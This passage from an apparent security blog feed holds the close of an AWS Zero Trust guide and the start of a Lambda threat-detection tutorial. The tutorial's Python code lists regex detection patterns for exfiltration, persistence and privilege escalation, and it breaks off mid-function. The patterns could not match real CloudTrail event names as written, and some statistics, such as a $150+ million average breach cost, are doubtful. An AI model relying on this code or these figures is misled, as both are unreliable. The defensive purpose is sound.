                    <span class="sh">'</span><span class="s">session_duration</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">PT8H</span><span class="sh">'</span>
                <span class="p">}</span>
        
        <span class="c1"># Perform full risk assessment for new or high-risk users
</span>        <span class="n">risk_assessment</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">assess_user_risk</span><span class="p">(</span><span class="n">user_context</span><span class="p">)</span>
        
        <span class="c1"># Cache low-risk assessments
</span>        <span class="k">if</span> <span class="n">risk_assessment</span><span class="p">[</span><span class="sh">'</span><span class="s">risk_level</span><span class="sh">'</span><span class="p">]</span> <span class="o">==</span> <span class="sh">'</span><span class="s">low</span><span class="sh">'</span><span class="p">:</span>
            <span class="n">self</span><span class="p">.</span><span class="n">risk_cache</span><span class="p">[</span><span class="n">user_id</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">risk_level</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">low</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">timestamp</span><span class="sh">'</span><span class="p">:</span> <span class="n">current_time</span>
            <span class="p">}</span>
        
        <span class="k">return</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">fast_path</span><span class="sh">'</span><span class="p">:</span> <span class="bp">False</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">mfa_required</span><span class="sh">'</span><span class="p">:</span> <span class="n">risk_assessment</span><span class="p">[</span><span class="sh">'</span><span class="s">risk_level</span><span class="sh">'</span><span class="p">]</span> <span class="ow">in</span> <span class="p">[</span><span class="sh">'</span><span class="s">medium</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="p">],</span>
            <span class="sh">'</span><span class="s">session_duration</span><span class="sh">'</span><span class="p">:</span> <span class="n">self</span><span class="p">.</span><span class="nf">get_session_duration</span><span class="p">(</span><span class="n">risk_assessment</span><span class="p">[</span><span class="sh">'</span><span class="s">risk_level</span><span class="sh">'</span><span class="p">])</span>
        <span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong>Network Performance</strong>:</p>
<ul>
  <li>Use VPC endpoints to reduce latency and improve security for AWS service access</li>
  <li>Implement connection pooling and keep-alive mechanisms for frequent service calls</li>
  <li>Optimize security group rules to minimize rule evaluation overhead</li>
  <li>Use AWS Global Accelerator for improved performance across geographic regions</li>
  <li>Monitor network latency and implement performance baselines</li>
</ul>

<h3 id="compliance-and-governance">Compliance and Governance</h3>

<p><strong>Audit Requirements</strong>:</p>
<ul>
  <li>Maintain comprehensive logs of all authentication and authorization events</li>
  <li>Implement automated compliance reporting for regulatory requirements</li>
  <li>Regular third-party security assessments and penetration testing</li>
  <li>Document all Zero Trust policies and procedures for audit purposes</li>
  <li>Establish clear incident response procedures for security events</li>
</ul>

<p><strong>Governance Framework</strong>:</p>
<ul>
  <li>Establish Zero Trust steering committee with cross-functional representation</li>
  <li>Define clear roles and responsibilities for Zero Trust implementation and maintenance</li>
  <li>Create approval workflows for policy changes and exceptions</li>
  <li>Implement regular policy review and update cycles</li>
  <li>Establish metrics and KPIs for Zero Trust effectiveness measurement</li>
</ul>

<h2 id="implementation-roadmap">Implementation Roadmap</h2>

<h3 id="phase-1-identity-foundation-weeks-1-3">Phase 1: Identity Foundation (Weeks 1-3)</h3>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Deploy AWS IAM Identity Center and configure external identity source integration</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Create Zero Trust permission sets with conditional access policies</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Implement multi-factor authentication requirements for all users</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Configure session duration and re-authentication policies</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Test identity integration with pilot user group</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Establish identity monitoring and alerting mechanisms</li>
</ul>

<h3 id="phase-2-network-segmentation-weeks-4-6">Phase 2: Network Segmentation (Weeks 4-6)</h3>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Deploy Zero Trust VPC with segmented subnets and security groups</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Implement network access control lists (NACLs) for additional security layers</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Configure VPC endpoints for secure AWS service access</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Deploy Network Load Balancers with SSL termination and WAF integration</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Implement network monitoring and traffic analysis capabilities</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Test network connectivity and performance with segmented architecture</li>
</ul>

<h3 id="phase-3-application-integration-weeks-7-9">Phase 3: Application Integration (Weeks 7-9)</h3>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Integrate applications with Zero Trust authentication and authorization</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Implement API Gateway with Lambda authorizers for custom access control</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Configure application-level encryption and secure communication protocols</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Deploy application performance monitoring with security metrics</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Implement just-in-time access mechanisms for administrative functions</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Conduct application security testing and vulnerability assessments</li>
</ul>

<h3 id="phase-4-monitoring-and-analytics-weeks-10-12">Phase 4: Monitoring and Analytics (Weeks 10-12)</h3>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Deploy comprehensive logging and monitoring infrastructure</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Implement behavioral analytics and anomaly detection systems</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Configure automated alerting and incident response workflows</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Establish security operations center (SOC) procedures and playbooks</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Deploy compliance monitoring and automated reporting capabilities</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Conduct tabletop exercises and incident response simulations</li>
</ul>

<h3 id="phase-5-optimization-and-maturity-weeks-13-16">Phase 5: Optimization and Maturity (Weeks 13-16)</h3>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Analyze performance metrics and optimize authentication flows</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Implement advanced machine learning capabilities for threat detection</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Expand Zero Trust principles to all applications and services</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Establish continuous improvement processes and feedback mechanisms</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Complete comprehensive security assessment and penetration testing</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Document lessons learned and best practices for future deployments</li>
</ul>

<h2 id="related-articles">Related Articles</h2>

<ul>
  <li><a href="/posts/aws-lambda-security-automated-threat-detection-2025/">AWS Lambda Security: Automated Threat Detection Systems</a></li>
  <li><a href="/posts/aws-cloudtrail-advanced-security-analytics/">AWS CloudTrail Advanced Security Analytics</a></li>
  <li><a href="/posts/serverless-security-operations-center-aws/">Building Serverless Security Operations Centers</a></li>
  <li><a href="/posts/aws-security-hub-centralized-management/">AWS Security Hub: Centralized Security Management</a></li>
</ul>

<h2 id="additional-resources">Additional Resources</h2>

<h3 id="official-documentation">Official Documentation</h3>
<ul>
  <li><a href="https://docs.aws.amazon.com/singlesignon/latest/userguide/">AWS IAM Identity Center User Guide</a> - Comprehensive guide to AWS SSO implementation</li>
  <li><a href="https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html">AWS IAM Best Practices</a> - IAM security best practices and recommendations</li>
  <li><a href="https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Security.html">AWS VPC Security Best Practices</a> - Network security implementation guidelines</li>
  <li><a href="https://docs.aws.amazon.com/wellarchitected/latest/security-pillar/welcome.html">AWS Well-Architected Security Pillar</a> - Security architecture principles and practices</li>
</ul>

<h3 id="tools-and-frameworks">Tools and Frameworks</h3>
<ul>
  <li><a href="https://docs.aws.amazon.com/config/latest/developerguide/security-best-practices.html">AWS Config Rules for Security</a> - Automated compliance monitoring tools</li>
  <li><a href="https://docs.aws.amazon.com/securityhub/latest/userguide/">AWS Security Hub</a> - Centralized security findings management</li>
  <li><a href="https://github.com/aws-samples/aws-security-reference-architecture-examples">AWS CloudFormation Security Templates</a> - Infrastructure as Code security examples</li>
  <li><a href="https://registry.terraform.io/modules/terraform-aws-modules/">Terraform AWS Modules</a> - Reusable infrastructure components for security</li>
</ul>

<h3 id="industry-reports-and-research">Industry Reports and Research</h3>
<ul>
  <li><a href="https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-207.pdf">NIST Zero Trust Architecture</a> - Official NIST Zero Trust guidance and principles</li>
  <li><a href="https://www.okta.com/resources/whitepaper/state-of-zero-trust-security-2025/">2025 Zero Trust Security Report</a> - Current Zero Trust adoption trends and challenges</li>
  <li><a href="https://docs.aws.amazon.com/whitepapers/latest/aws-security-best-practices/welcome.html">AWS Security Best Practices Whitepaper</a> - Comprehensive AWS security guidance</li>
  <li><a href="https://www.cisecurity.org/benchmark/amazon_web_services">CIS AWS Foundations Benchmark</a> - Security configuration benchmarks for AWS</li>
</ul>

<h3 id="community-resources">Community Resources</h3>
<ul>
  <li><a href="https://aws.amazon.com/blogs/security/">AWS Security Blog</a> - Latest AWS security updates and best practices</li>
  <li><a href="https://www.zerotrust.org/">Zero Trust Exchange</a> - Industry collaboration on Zero Trust implementation</li>
  <li><a href="https://reinforce.awsevents.com/">AWS re:Inforce Conference</a> - Annual AWS security conference and training</li>
  <li><a href="https://cloudsecurityalliance.org/">CloudSecurityAlliance</a> - Cloud security research and best practices</li>
</ul>

<h2 id="conclusion">Conclusion</h2>

<p>Implementing Zero Trust architecture with AWS IAM represents a fundamental shift from traditional perimeter-based security to a model that assumes no implicit trust and continuously validates every access request. This comprehensive approach addresses the evolving threat landscape of 2025, where sophisticated attackers target cloud infrastructure with increasing frequency and success.</p>

<p>Key benefits of this Zero Trust implementation include:</p>
<ul>
  <li><strong>Enhanced Security Posture</strong>: Continuous verification and least-privilege access significantly reduce attack surface and limit blast radius</li>
  <li><strong>Improved Compliance</strong>: Comprehensive logging and automated policy enforcement simplify regulatory compliance and audit processes</li>
  <li><strong>Operational Efficiency</strong>: Automated access decisions and self-service capabilities reduce administrative overhead while maintaining security</li>
  <li><strong>Scalable Architecture</strong>: Cloud-native implementation scales automatically with organizational growth and changing requirements</li>
  <li><strong>Risk Reduction</strong>: Proactive threat detection and automated response capabilities minimize the impact of security incidents</li>
</ul>

<p>The success of Zero Trust implementation depends on careful planning, phased deployment, and continuous optimization based on operational experience and emerging threats. Organizations must balance security requirements with user experience to ensure adoption success while maintaining robust protection against evolving cyber threats.</p>

<p>For personalized guidance on implementing Zero Trust architecture in your AWS environment, <a href="https://www.linkedin.com/in/jonpricelinux/">connect with Jon Price on LinkedIn</a>.</p>]]></content><author><name>Jon (JR) Price</name></author><category term="AWS" /><category term="Security" /><category term="aws-iam" /><category term="continuous-verification" /><category term="identity-security" /><category term="network-segmentation" /><category term="privileged-access" /><category term="zero-trust" /><summary type="html"><![CDATA[Comprehensive guide to implementing Zero Trust architecture with AWS IAM, including identity verification, network segmentation, and continuous validation for enterprise security.]]></summary></entry><entry><title type="html">AWS Lambda Security: Building Automated Threat Detection Systems for 2025</title><link href="https://red-team.sh/posts/aws-lambda-security-automated-threat-detection-2025/" rel="alternate" type="text/html" title="AWS Lambda Security: Building Automated Threat Detection Systems for 2025" /><published>2025-09-15T07:00:00-07:00</published><updated>2025-09-15T07:00:00-07:00</updated><id>https://red-team.sh/posts/aws-lambda-security-automated-threat-detection-2025</id><content type="html" xml:base="https://red-team.sh/posts/aws-lambda-security-automated-threat-detection-2025/"><![CDATA[<h2 id="introduction">Introduction</h2>

<p>In 2025, organizations face unprecedented cloud security challenges with attackers intensifying their focus on serverless infrastructure. Recent data shows that cloud-based security alerts have increased nearly five times compared to early 2024, with AWS Lambda functions becoming prime targets for sophisticated attacks.</p>

<p>This comprehensive guide demonstrates how to build robust, automated threat detection systems using AWS Lambda, enabling real-time security monitoring and instant incident response across your cloud infrastructure.</p>

<h3 id="current-landscape-statistics">Current Landscape Statistics</h3>

<ul>
  <li><strong>Attack Volume</strong>: Organizations experienced 1,925 attacks per week in Q1 2025, with cloud intrusion attempts jumping 75% from 2022 to 2023</li>
  <li><strong>Detection Gap</strong>: Average time to detect cloud breaches remains 277 days, giving attackers extensive access windows</li>
  <li><strong>Human Error Impact</strong>: 88% of cloud data breaches are caused by human error, including credential mismanagement and privilege misconfiguration</li>
  <li><strong>Cost Impact</strong>: AWS security breach recovery costs average $150+ million, including legal fees, regulatory fines, and operational disruption</li>
  <li><strong>Skill Gap</strong>: 76% of organizations report lacking cloud security teams and expertise, making automated detection systems critical</li>
</ul>

<h2 id="core-components-of-lambda-based-threat-detection">Core Components of Lambda-Based Threat Detection</h2>

<h3 id="architecture-overview">Architecture Overview</h3>

<p>Modern serverless threat detection systems leverage multiple AWS services in a coordinated approach:</p>

<p><img src="/assets/img/diagrams/lambda-threat-detection.png" alt="AWS Lambda Threat Detection" class="shadow" w="800" />
<em>AWS Lambda automated threat detection architecture</em></p>

<h3 id="core-detection-components">Core Detection Components</h3>

<p><strong>Event Sources</strong>:</p>
<ul>
  <li>AWS CloudTrail for API activity monitoring</li>
  <li>VPC Flow Logs for network traffic analysis</li>
  <li>AWS GuardDuty for ML-powered threat detection</li>
  <li>AWS Config for configuration drift detection</li>
</ul>

<p><strong>Processing Layer</strong>:</p>
<ul>
  <li>Lambda functions for real-time event processing</li>
  <li>Step Functions for complex workflow orchestration</li>
  <li>EventBridge for event routing and filtering</li>
</ul>

<p><strong>Response Systems</strong>:</p>
<ul>
  <li>Automated remediation Lambda functions</li>
  <li>SNS/SQS for notification systems</li>
  <li>Security Lake for centralized logging</li>
</ul>

<h2 id="implementing-real-time-threat-detection">Implementing Real-Time Threat Detection</h2>

<h3 id="lambda-function-cloudtrail-event-analyzer">Lambda Function: CloudTrail Event Analyzer</h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
</pre></td><td class="rouge-code"><pre><span class="kn">import</span> <span class="n">json</span>
<span class="kn">import</span> <span class="n">boto3</span>
<span class="kn">import</span> <span class="n">re</span>
<span class="kn">from</span> <span class="n">datetime</span> <span class="kn">import</span> <span class="n">datetime</span><span class="p">,</span> <span class="n">timezone</span>
<span class="kn">from</span> <span class="n">typing</span> <span class="kn">import</span> <span class="n">Dict</span><span class="p">,</span> <span class="n">List</span><span class="p">,</span> <span class="n">Optional</span>

<span class="k">class</span> <span class="nc">CloudTrailThreatDetector</span><span class="p">:</span>
    <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="n">self</span><span class="p">):</span>
        <span class="n">self</span><span class="p">.</span><span class="n">sns</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">sns</span><span class="sh">'</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="n">security_hub</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">securityhub</span><span class="sh">'</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="n">lambda_client</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">lambda</span><span class="sh">'</span><span class="p">)</span>
        
        <span class="c1"># Threat detection patterns
</span>        <span class="n">self</span><span class="p">.</span><span class="n">suspicious_patterns</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">privilege_escalation</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                <span class="sa">r</span><span class="sh">'</span><span class="s">AssumeRole.*Admin</span><span class="sh">'</span><span class="p">,</span>
                <span class="sa">r</span><span class="sh">'</span><span class="s">CreateRole.*Admin</span><span class="sh">'</span><span class="p">,</span>
                <span class="sa">r</span><span class="sh">'</span><span class="s">AttachUserPolicy.*Admin</span><span class="sh">'</span><span class="p">,</span>
                <span class="sa">r</span><span class="sh">'</span><span class="s">PutUserPolicy.*Admin</span><span class="sh">'</span>
            <span class="p">],</span>
            <span class="sh">'</span><span class="s">data_exfiltration</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                <span class="sa">r</span><span class="sh">'</span><span class="s">GetObject.*large_file</span><span class="sh">'</span><span class="p">,</span>
                <span class="sa">r</span><span class="sh">'</span><span class="s">ListBucket.*recursive</span><span class="sh">'</span><span class="p">,</span>
                <span class="sa">r</span><span class="sh">'</span><span class="s">DescribeInstances.*mass_query</span><span class="sh">'</span><span class="p">,</span>
                <span class="sa">r</span><span class="sh">'</span><span class="s">DescribeSnapshots.*enumeration</span><span class="sh">'</span>
            <span class="p">],</span>
            <span class="sh">'</span><span class="s">persistence</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                <span class="sa">r</span><span class="sh">'</span><span class="s">CreateUser.*backdoor</span><span class="sh">'</span><span class="p">,</span>
                <span class="sa">r</span><span class="sh">'</span><span class="s">CreateAccessKey.*unauthorized</span><span class="sh">'</span><span class="p">,</span>
                <span class="sa">r</span><span class="sh">'</span><span class="s">CreateRole.*persistent</span><span class="sh">'</span><span class="p">,</span>
                <span class="sa">r</span><span class="sh">'</span><span class="s">ModifyDBInstance.*public</span><span class="sh">'</span>
            <span class="p">],</span>
            <span class="sh">'</span><span class="s">lateral_movement</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                <span class="sa">r</span><span class="sh">'</span><span class="s">AssumeRole.*cross_account</span><span class="sh">'</span><span class="p">,</span>
                <span class="sa">r</span><span class="sh">'</span><span class="s">DescribeInstances.*scanning</span><span class="sh">'</span><span class="p">,</span>
                <span class="sa">r</span><span class="sh">'</span><span class="s">GetCallerIdentity.*reconnaissance</span><span class="sh">'</span><span class="p">,</span>
                <span class="sa">r</span><span class="sh">'</span><span class="s">ListUsers.*enumeration</span><span class="sh">'</span>
            <span class="p">]</span>
        <span class="p">}</span>
    
    <span class="k">def</span> <span class="nf">lambda_handler</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">event</span><span class="p">,</span> <span class="n">context</span><span class="p">):</span>
        <span class="sh">"""</span><span class="s">Main Lambda handler for CloudTrail event analysis</span><span class="sh">"""</span>
        <span class="k">try</span><span class="p">:</span>
            <span class="c1"># Parse CloudTrail events from CloudWatch Logs
</span>            <span class="n">log_events</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">parse_cloudwatch_logs</span><span class="p">(</span><span class="n">event</span><span class="p">)</span>
            
            <span class="k">for</span> <span class="n">log_event</span> <span class="ow">in</span> <span class="n">log_events</span><span class="p">:</span>
                <span class="n">cloudtrail_event</span> <span class="o">=</span> <span class="n">json</span><span class="p">.</span><span class="nf">loads</span><span class="p">(</span><span class="n">log_event</span><span class="p">[</span><span class="sh">'</span><span class="s">message</span><span class="sh">'</span><span class="p">])</span>
                
                <span class="c1"># Analyze each CloudTrail record
</span>                <span class="k">for</span> <span class="n">record</span> <span class="ow">in</span> <span class="n">cloudtrail_event</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">Records</span><span class="sh">'</span><span class="p">,</span> <span class="p">[]):</span>
                    <span class="n">threat_indicators</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">analyze_event</span><span class="p">(</span><span class="n">record</span><span class="p">)</span>
                    
                    <span class="k">if</span> <span class="n">threat_indicators</span><span class="p">:</span>
                        <span class="n">self</span><span class="p">.</span><span class="nf">handle_threat_detection</span><span class="p">(</span><span class="n">record</span><span class="p">,</span> <span class="n">threat_indicators</span><span class="p">)</span>
            
            <span class="k">return</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">statusCode</span><span class="sh">'</span><span class="p">:</span> <span class="mi">200</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">body</span><span class="sh">'</span><span class="p">:</span> <span class="n">json</span><span class="p">.</span><span class="nf">dumps</span><span class="p">({</span>
                    <span class="sh">'</span><span class="s">message</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Threat detection analysis completed</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">processed_events</span><span class="sh">'</span><span class="p">:</span> <span class="nf">len</span><span class="p">(</span><span class="n">log_events</span><span class="p">)</span>
                <span class="p">})</span>
            <span class="p">}</span>
            
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Error in threat detection: </span><span class="si">{</span><span class="nf">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
            <span class="k">return</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">statusCode</span><span class="sh">'</span><span class="p">:</span> <span class="mi">500</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">body</span><span class="sh">'</span><span class="p">:</span> <span class="n">json</span><span class="p">.</span><span class="nf">dumps</span><span class="p">({</span><span class="sh">'</span><span class="s">error</span><span class="sh">'</span><span class="p">:</span> <span class="nf">str</span><span class="p">(</span><span class="n">e</span><span class="p">)})</span>
            <span class="p">}</span>
    
    <span class="k">def</span> <span class="nf">parse_cloudwatch_logs</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">event</span><span class="p">:</span> <span class="n">Dict</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">List</span><span class="p">[</span><span class="n">Dict</span><span class="p">]:</span>
        <span class="sh">"""</span><span class="s">Extract and decode CloudWatch Logs events</span><span class="sh">"""</span>
        <span class="kn">import</span> <span class="n">gzip</span>
        <span class="kn">import</span> <span class="n">base64</span>
        
        <span class="n">compressed_payload</span> <span class="o">=</span> <span class="n">base64</span><span class="p">.</span><span class="nf">b64decode</span><span class="p">(</span><span class="n">event</span><span class="p">[</span><span class="sh">'</span><span class="s">awslogs</span><span class="sh">'</span><span class="p">][</span><span class="sh">'</span><span class="s">data</span><span class="sh">'</span><span class="p">])</span>
        <span class="n">uncompressed_payload</span> <span class="o">=</span> <span class="n">gzip</span><span class="p">.</span><span class="nf">decompress</span><span class="p">(</span><span class="n">compressed_payload</span><span class="p">)</span>
        <span class="n">log_data</span> <span class="o">=</span> <span class="n">json</span><span class="p">.</span><span class="nf">loads</span><span class="p">(</span><span class="n">uncompressed_payload</span><span class="p">)</span>
        
        <span class="k">return</span> <span class="n">log_data</span><span class="p">[</span><span class="sh">'</span><span class="s">logEvents</span><span class="sh">'</span><span class="p">]</span>
    
    <span class="k">def</span> <span class="nf">analyze_event</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">record</span><span class="p">:</span> <span class="n">Dict</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">List</span><span class="p">[</span><span class="n">Dict</span><span class="p">]:</span>
        <span class="sh">"""</span><span class="s">Analyze CloudTrail record for threat indicators</span><span class="sh">"""</span>
        <span class="n">threat_indicators</span> <span class="o">=</span> <span class="p">[]</span>
        
        <span class="c1"># Extract key event attributes
</span>        <span class="n">event_name</span> <span class="o">=</span> <span class="n">record</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">eventName</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">)</span>
        <span class="n">source_ip</span> <span class="o">=</span> <span class="n">record</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">sourceIPAddress</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">)</span>
        <span class="n">user_identity</span> <span class="o">=</span> <span class="n">record</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">userIdentity</span><span class="sh">'</span><span class="p">,</span> <span class="p">{})</span>
        <span class="n">aws_region</span> <span class="o">=</span> <span class="n">record</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">awsRegion</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">)</span>
        <span class="n">event_time</span> <span class="o">=</span> <span class="n">record</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">eventTime</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">)</span>
        
        <span class="c1"># Check for suspicious patterns
</span>        <span class="k">for</span> <span class="n">threat_type</span><span class="p">,</span> <span class="n">patterns</span> <span class="ow">in</span> <span class="n">self</span><span class="p">.</span><span class="n">suspicious_patterns</span><span class="p">.</span><span class="nf">items</span><span class="p">():</span>
            <span class="k">for</span> <span class="n">pattern</span> <span class="ow">in</span> <span class="n">patterns</span><span class="p">:</span>
                <span class="k">if</span> <span class="n">re</span><span class="p">.</span><span class="nf">search</span><span class="p">(</span><span class="n">pattern</span><span class="p">,</span> <span class="n">event_name</span><span class="p">,</span> <span class="n">re</span><span class="p">.</span><span class="n">IGNORECASE</span><span class="p">):</span>
                    <span class="n">threat_indicators</span><span class="p">.</span><span class="nf">append</span><span class="p">({</span>
                        <span class="sh">'</span><span class="s">threat_type</span><span class="sh">'</span><span class="p">:</span> <span class="n">threat_type</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">pattern_matched</span><span class="sh">'</span><span class="p">:</span> <span class="n">pattern</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">confidence</span><span class="sh">'</span><span class="p">:</span> <span class="n">self</span><span class="p">.</span><span class="nf">calculate_confidence</span><span class="p">(</span><span class="n">record</span><span class="p">,</span> <span class="n">threat_type</span><span class="p">),</span>
                        <span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">:</span> <span class="n">self</span><span class="p">.</span><span class="nf">determine_severity</span><span class="p">(</span><span class="n">threat_type</span><span class="p">,</span> <span class="n">record</span><span class="p">)</span>
                    <span class="p">})</span>
        
        <span class="c1"># Additional context-based analysis
</span>        <span class="k">if</span> <span class="n">self</span><span class="p">.</span><span class="nf">is_anomalous_behavior</span><span class="p">(</span><span class="n">record</span><span class="p">):</span>
            <span class="n">threat_indicators</span><span class="p">.</span><span class="nf">append</span><span class="p">({</span>
                <span class="sh">'</span><span class="s">threat_type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">anomalous_behavior</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">pattern_matched</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">behavioral_analysis</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">confidence</span><span class="sh">'</span><span class="p">:</span> <span class="mf">0.7</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">medium</span><span class="sh">'</span>
            <span class="p">})</span>
        
        <span class="c1"># Geographic anomaly detection
</span>        <span class="k">if</span> <span class="n">self</span><span class="p">.</span><span class="nf">is_geographic_anomaly</span><span class="p">(</span><span class="n">source_ip</span><span class="p">,</span> <span class="n">user_identity</span><span class="p">):</span>
            <span class="n">threat_indicators</span><span class="p">.</span><span class="nf">append</span><span class="p">({</span>
